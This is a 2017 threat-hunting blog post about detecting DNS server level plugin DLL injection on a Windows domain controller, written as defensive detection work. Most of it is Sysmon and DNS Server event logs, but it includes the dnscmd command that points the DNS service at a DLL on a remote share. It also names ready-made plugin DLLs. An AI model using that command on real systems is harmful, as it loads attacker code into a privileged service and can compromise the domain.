(0x64 ∧ 0x6d) ∨ 0x69

Categories

Hunting DNS Server Level Plugin dll injection

This post is accompanying my addition to the ThreatHunter-Playbook to enhance the IOC I added there with some details to detect the DNS server level plugin dll injection, published this week. I am not going to make a detailed description for that attack, as there are already plenty of great ressources:

- Feature, not bug: DNSAdmin to DC compromise in one line.
- Abusing DNSAdmins privilege for escalation in Active Directory

If you want to play with this DNS server feature just use one of the following DNS Server ready-to-use DNS server level plugin dlls:

- VCC project on my GitHub
- mimilib is also ready

We assume the attacker has a privileged user to reconfigure the DNS service:

The attack has to be executed in two steps:

1. dnscmd.exe dc1.lab.internal /config /serverlevelplugindll \192.168.0.149\dll\wtf.dll
    - Whereas the dll has to be as a special DNS server plugin dll. (my GitHub)
    - A registry parameter gets added: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll and set to the value \\192.168.0.149\dll\wtf.dll
2. The DNS service gets restarted

- The DLL is loaded into dns.exe and the API functions are called.

Additional DLLs loaded

If a DNS server plugin gets added to the DNS there are two dlls loaded additionally to the default ones and the specified plugin dll, which may be required especially when the plugin dll is located on a network share.

- C:\Windows\System32\icmp.dll
- C:\Windows\System32\oleaut32.dll
- \\192.168.0.149\dll\wtf.dll (the specified plugin dll)

You can download the raw data of the intersection (2 at the last column means loaded in both cases plugin / no plugin) here.

events triggered: executing dnscmd

- dnscmd dc1 /config /serverlevelplugindll \192.168.0.149\dll\wtf.dll

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />
  <EventID>13</EventID>
  <Version>2</Version>
  <Level>4</Level>
  <Task>13</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2017-05-09T08:52:35.589834200Z" />
  <EventRecordID>8435</EventRecordID>
  <Correlation />
  <Execution ProcessID="1264" ThreadID="2980" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>dc1.lab.internal</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData>
  <Data Name="EventType">SetValue</Data>
  <Data Name="UtcTime">2017-05-09 08:52:35.589</Data>
  <Data Name="ProcessGuid">{85D1CFA0-7DCD-5911-0000-0010F4196600}</Data>
  <Data Name="ProcessId">3388</Data>
  <Data Name="Image">C:\Windows\system32\dns.exe</Data>
  <Data Name="TargetObject">\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DNS\Parameters\ServerLevelPluginDll</Data>
  <Data Name="Details">\\192.168.0.149\dll\wtf.dll</Data>
  </EventData>
  </Event>

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-DNSServer" Guid="{EB79061A-A566-4698-9119-3ED2807060E7}" />
  <EventID>541</EventID>
  <Version>0</Version>
  <Level>4</Level>
  <Task>10</Task>
  <Opcode>0</Opcode>
  <Keywords>0x4000000008000000</Keywords>
  <TimeCreated SystemTime="2017-05-09T08:52:35.589834200Z" />
  <EventRecordID>148</EventRecordID>
  <Correlation />
```

```
  <Execution ProcessID="3388" ThreadID="3928" />
  <Channel>Microsoft-Windows-DNSServer/Audit</Channel>
  <Computer>dc1.lab.internal</Computer>
  <Security UserID="S-1-5-21-764058423-2567595003-319586131-1001" />
  </System>
- <EventData>
  <Data Name="Setting">serverlevelplugindll</Data>
  <Data Name="Scope">.</Data>
  <Data Name="NewValue">\\192.168.0.149\dll\wtf.dll</Data>
  </EventData>
  </Event>
```

events triggered: DNS service Restarted

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-DNS-Server-Service" Guid="{71A551F5-C893-4849-886B-B5EC8502641E}" />
  <EventID>771</EventID>
  <Version>0</Version>
  <Level>4</Level>
  <Task>0</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000008000</Keywords>
  <TimeCreated SystemTime="2017-05-09T08:54:26.798142300Z" />
  <EventRecordID>263</EventRecordID>
  <Correlation />
  <Execution ProcessID="2312" ThreadID="3068" />
  <Channel>DNS Server</Channel>
  <Computer>dc1.lab.internal</Computer>
  <Security UserID="S-1-5-18" />
  </System>
  <EventData />
  </Event>

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-DNS-Server-Service" Guid="{71A551F5-C893-4849-886B-B5EC8502641E}" />
  <EventID>770</EventID>
  <Version>0</Version>
  <Level>4</Level>
  <Task>0</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000008000</Keywords>
  <TimeCreated SystemTime="2017-05-09T08:54:26.798142300Z" />
  <EventRecordID>264</EventRecordID>
  <Correlation />
  <Execution ProcessID="2312" ThreadID="3068" />
  <Channel>DNS Server</Channel>
  <Computer>dc1.lab.internal</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData Name="DNS_EVENT_PLUGIN_DLL_LOAD_OK">
  <Data Name="param1">\\192.168.0.149\dll\wtf.dll</Data>
  <Data Name="param2">dc1.lab.internal</Data>
  </EventData>
  </Event>

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}" />
  <EventID>7</EventID>
```

```
  <Version>3</Version>
  <Level>4</Level>
  <Task>7</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2017-05-09T08:54:26.836958500Z" />
  <EventRecordID>8712</EventRecordID>
  <Correlation />
  <Execution ProcessID="1264" ThreadID="2980" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>dc1.lab.internal</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData>
  <Data Name="UtcTime">2017-05-09 08:54:26.786</Data>
  <Data Name="ProcessGuid">{85D1CFA0-83C2-5911-0000-00105E6E7300}</Data>
  <Data Name="ProcessId">2312</Data>
  <Data Name="Image">C:\Windows\System32\dns.exe</Data>
  <Data Name="ImageLoaded">\\192.168.0.149\dll\wtf.dll</Data>
  <Data Name="Hashes">SHA1=64EC0621DF216115C0CF6F4958E0866D0C74734B</Data>
  <Data Name="Signed">false</Data>
  <Data Name="Signature" />
  <Data Name="SignatureStatus">Unavailable</Data>
  </EventData>
  </Event>
```

events triggered: on error

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-DNS-Server-Service" Guid="{71A551F5-C893-4849-886B-B5EC8502641E}" />
  <EventID>150</EventID>
  <Version>0</Version>
  <Level>2</Level>
  <Task>0</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000008000</Keywords>
  <TimeCreated SystemTime="2017-05-09T08:00:55.264092600Z" />
  <EventRecordID>219</EventRecordID>
  <Correlation />
  <Execution ProcessID="3904" ThreadID="2324" />
  <Channel>DNS Server</Channel>
  <Computer>dc1.lab.internal</Computer>
  <Security UserID="S-1-5-18" />
  </System>
- <EventData Name="DNS_EVENT_PLUGIN_INIT_FAILED">
  <Data Name="param1">\\192.168.0.149\dll\wtf.dll</Data>
  <Binary>7F000000</Binary>
  </EventData>
  </Event>
```

By @dimi in [Threat Hunting] Tue 09 May 2017
Tags : #Threat Hunting, #sysmon, #DNS, #Windows, #Microsoft,